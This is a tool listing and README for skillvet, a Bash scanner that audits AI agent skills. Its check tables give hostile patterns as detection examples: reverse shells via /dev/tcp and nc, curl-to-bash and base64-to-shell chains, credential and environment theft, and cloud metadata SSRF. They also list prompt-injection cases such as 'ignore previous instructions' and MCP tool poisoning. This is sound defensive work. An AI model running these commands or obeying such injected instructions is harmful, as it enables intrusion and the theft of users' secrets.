mcpField
S
skillvet

skillvet

github.com/oakencoreSecurity1110 installsUpdated 34w ago
Repository

About skillvet

skillvet is a dependency-free Bash scanner for auditing agent skills. It helps skill authors and maintainers find security risks through static checks, with machine-readable reports and install-time auditing.

Key features

  1. 0162 security checks and 8 warning categories
  2. 02JSON and SARIF reports
  3. 03Remote, installed, and diff scans
  4. 04Risk scoring and configurable suppressions
  5. 05Safe install and pre-commit scanning

Use cases

  1. 01Audit a skill before installation
  2. 02Scan installed skills in CI
  3. 03Review only changes between versions

MCP support

skillvet scans skill files for MCP-related attack patterns, including tool poisoning, command injection, data exfiltration, and dynamic tool definitions.

Install

Copy the command and run it in a terminal.

$npx skills add https://github.com/oakencore/skillvet --skill skillvet

After installing, type/skillvetin Claude Code to confirm it loaded.

Bundled files

References and scripts installed along with SKILL.md.

docs/plans/
2026-03-04-mcp-checks-implementation-plan.md
2026-03-04-mcp-attack-detection-design.md
scripts/
diff-scan.sh
safe-install.sh
scan-remote.sh
skill-audit.sh
pre-commit-hook
patterns.b64
tests/
fixtures.b64
run-tests.sh

Details

From the project README

Skillvet

Security scanner for agent skills. 62 security checks plus 8 warning categories. No dependencies — just bash and grep. Includes Tirith-inspired detection patterns, MCP server attack detection, campaign signatures from Koi Security, Bitdefender, Snyk, and 1Password ClickFix patterns.

Usage

Safe install (installs, audits, auto-removes if critical):

bash skills/skillvet/scripts/safe-install.sh <skill-slug>

Audit an existing skill:

bash skills/skillvet/scripts/skill-audit.sh skills/some-skill

Audit all installed skills:

for d in skills/*/; do bash skills/skillvet/scripts/skill-audit.sh "$d"; done

JSON output (for automation):

bash skills/skillvet/scripts/skill-audit.sh --json skills/some-skill

SARIF output (for GitHub Code Scanning / VS Code):

bash skills/skillvet/scripts/skill-audit.sh --sarif skills/some-skill

Summary mode (one-line per skill):

bash skills/skillvet/scripts/skill-audit.sh --summary skills/some-skill

Verbose mode (debug which checks run and what files are scanned):

bash skills/skillvet/scripts/skill-audit.sh --verbose skills/some-skill

Scan remote skill without installing:

bash skills/skillvet/scripts/scan-remote.sh <skill-slug>

Diff scan (only scan what changed between versions):

bash skills/skillvet/scripts/diff-scan.sh path/to/old-version path/to/new-version

Exit codes: 0 clean, 1 warnings only, 2 critical findings.

Advanced Options
FlagDescription
--jsonJSON output for CI/dashboards
--sarifSARIF v2.1.0 output for GitHub Code Scanning
--summaryOne-line output per skill
--verboseShow which checks run and which files are scanned
--exclude-selfSkip scan when scanning own source directory
--max-file-size NSkip files larger than N bytes
--max-depth NLimit directory traversal depth
Suppressing False Positives

Create a .skillvetrc file in the skill directory to disable specific checks:

# Disable check #4 (obfuscation) and #20 (shortened URLs)
disable:4
disable:20

Or add inline comments to suppress individual lines:

const url = "https://bit.ly/legit-link"; // skillvet-ignore
Pre-commit Hook

Install the git pre-commit hook to auto-scan skills before committing:

ln -sf ../../scripts/pre-commit-hook .git/hooks/pre-commit
Risk Scoring

Each finding has a severity weight (1-10). The aggregate risk score is included in JSON, SARIF, and summary output. Higher scores indicate more dangerous patterns:

  • 10: Reverse shells, known C2 IPs
  • 9: Data exfiltration, pipe-to-shell, persistence + network, ClickFix, base64 execution
  • 7-8: Credential theft, obfuscation, path traversal, time bombs
  • 4-6: Punycode, homographs, ANSI injection, shortened URLs
  • 2-3: Subprocess execution, network requests, file writes

Critical Checks (auto-blocked)

Core Security Checks (1-24)
#CheckExample
1Known exfiltration endpointswebhook.site, ngrok.io, requestbin
2Bulk env variable harvestingprintenv |, ${!*@}
3Foreign credential accessANTHROPIC_API_KEY, TELEGRAM_BOT_TOKEN in scripts
4Code obfuscationbase64 decode, hex escapes, dynamic code generation
5Path traversal / sensitive files../../, ~/.ssh, ~/.clawdbot
6Data exfiltration via curl/wgetcurl --data, wget --post with variables
7Reverse/bind shells/dev/tcp/, nc -e, socat
8.env file theftdotenv loading in scripts (not docs)
9Prompt injection in markdown"ignore previous instructions" in SKILL.md
10LLM tool exploitationInstructions to send/email secrets
11Agent config tamperingWrite/modify AGENTS.md, SOUL.md, clawdbot.json
12Unicode obfuscationZero-width chars, RTL override, bidi control chars
13Suspicious setup commandscurl piped to bash in SKILL.md
14Social engineeringDownload external binaries, paste-and-run instructions
15Shipped .env files.env files (not .example) in the skill
16Homograph URLs (Tirith)Cyrillic i vs Latin i in hostnames
17ANSI escape sequences (Tirith)Terminal escape codes in code/data files
18Punycode domains (Tirith)xn-- prefixed IDN-encoded domains
19Double-encoded paths (Tirith)%25XX percent-encoding bypass
20Shortened URLs (Tirith)bit.ly, t.co, tinyurl.com hiding destinations
21Pipe-to-shellcurl | bash (HTTP and HTTPS)
22String construction evasionString.fromCharCode, getattr, dynamic call assembly
23Data flow chain analysisSame file reads secrets, encodes, AND sends network requests
24Time bomb detectionDate.now() > timestamp, setTimeout(fn, 86400000)
25Known C2/IOC IP blocklist91.92.242.30, 54.91.154.110 (known AMOS C2 servers)
26Password-protected archives"extract using password: openclaw" — AV evasion
27Paste service payloadsglot.io, pastebin.com hosting malicious scripts
28GitHub releases binary downloadsFake prerequisites pointing to .zip/.exe on GitHub
29Base64 pipe-to-interpreterecho '...' | base64 -D | bash — primary macOS vector
30Subprocess + network commandshidden pipe-to-shell in Python/JS code
31Fake URL misdirection (warning)decoy URL before real payload
32Process persistence + networknohup curl ... & — backdoor with network access
33Fake prerequisite pattern"Prerequisites" section with sketchy external downloads
34xattr/chmod droppermacOS Gatekeeper bypass: download, xattr -c, chmod +x, execute
35ClickFix download+execute chaincurl -o /tmp/x && chmod +x && ./x, open -a with downloads
36Suspicious package sourcespip install git+https://..., npm from non-official registries
37Staged installer patternFake dependency names like openclaw-core, some-lib
38Fake OS update social engineering"Apple Software Update required for compatibility"
39Known malicious ClawHub actorszaycv, Ddoy233, Sakaen736jih, Hightower6eu references
40Bash /dev/tcp reverse shellbash -i >/dev/tcp/IP/PORT 0>&1 (AuthTool pattern)
41Nohup backdoornohup bash -c '...' >/dev/null with network commands
42Python reverse shellsocket.connect + dup2, pty.spawn('/bin/bash')
43Terminal output disguiseDecoy "downloading..." message before malicious payload
44Credential file accessDirect reads of .env, .pem, .aws/credentials
45TMPDIR payload stagingAMOS pattern: drop malware to $TMPDIR then execute
46GitHub raw content executioncurl raw.githubusercontent.com/... | bash
47Echo-encoded payloadsLong base64 strings echoed and piped to decoders
48Typosquat skill namesclawdhub-helper, openclaw-cli, skillvet1
Tirith-Inspired Security Checks (#49-54)

Based on Tirith policy-as-code patterns for detecting advanced obfuscation and credential abuse.

#CheckSeverityExample
49Homograph URL detection9Cyrillic/Greek lookalike chars in URLs (e.g., а vs a)
50Zero-width / invisible Unicode8U+200B, U+200D, bidi overrides hiding malicious content
51Punycode domain detection9xn-- IDN-encoded domains masquerading as legitimate
52Credentials in URL7https://user:pass@host — passwords exposed in URLs
53Dotfile targeting9Writes to .bashrc, .ssh/authorized_keys, .gitconfig
54URL shortener obfuscation7Shortened URLs hiding malicious destinations
MCP Security Checks (#55-62)

Based on Invariant Labs, Trail of Bits, Keysight, and Snyk research on MCP server attack vectors.

#CheckSeverityExample
55MCP tool poisoning instructions9"description": "ignore previous instructions and..."
56Cross-server tool shadowing8"when using send_email, always BCC..."
57Conversation history exfiltration9conversation_history parameter, when you see API_KEY
58Command injection in MCP handlers8Template literal in shell exec, subprocess with shell=True
59Bulk environment exfiltration9JSON.stringify(process.env), dict(os.environ)
60Cloud metadata SSRF9169.254.169.254, metadata.google.internal
61DNS rebinding exposure (warning)6Server binding to 0.0.0.0 with SSE transport
62Rug pull / dynamic tool definitions8Date.now() near tool registration, remote tool fetching

Warning Checks (flagged for review)

#CheckExample
W1Unknown external tool requirementsNon-standard CLI tools in install instructions
W2Subprocess executionchild_process, execSync, spawn, subprocess
W3Network requestsaxios, fetch, requests imports
W4Minified/bundled filesFirst line >500 chars — can't audit
W5Filesystem write operationswriteFile, open('w'), fs.append
W6Insecure transportcurl -k, verify=False — TLS disabled
W7Docker untrusted registriesNon-standard image sources

Scanned File Types

.md, .js, .ts, .tsx, .jsx, .py, .sh, .bash, .rs, .go, .rb, .c, .cpp, .json, .yaml, .yml, .toml, .txt, .env*, Dockerfile*, Makefile, pom.xml, .gradle.

Binary files are automatically skipped. Symlinks are followed.

Portability

Works on Linux and macOS. Unicode checks (#12, #16, #17) use grep -P where available, falling back to perl on systems without Perl-compatible regex (e.g., stock macOS). If neither is available, those checks are silently skipped.

IOC Updates

The C2 IP blocklist in check #25 is based on known indicators from:

To update IOCs, edit the KNOWN_IPS entry in scripts/patterns.b64 (base64-encoded regex pattern).

CI/CD Integration

GitHub Actions

A .github/workflows/test.yml is included — runs the test suite on both Ubuntu and macOS on push/PR.

GitHub Code Scanning (SARIF)
- name: Run skillvet
  run: bash scripts/skill-audit.sh --sarif skills/some-skill > results.sarif || true

- name: Upload SARIF
  uses: github/codeql-action/upload-sarif@v3
  with:
    sarif_file: results.sarif

Limitations

Static analysis only. English-centric prompt injection patterns. Minified JS is flagged but not deobfuscated. A clean scan raises the bar but doesn't guarantee safety.

The scanner flags itself when audited — its own patterns contain the strings it detects. Use --exclude-self to skip self-scanning in CI.

Comments

Markdown supported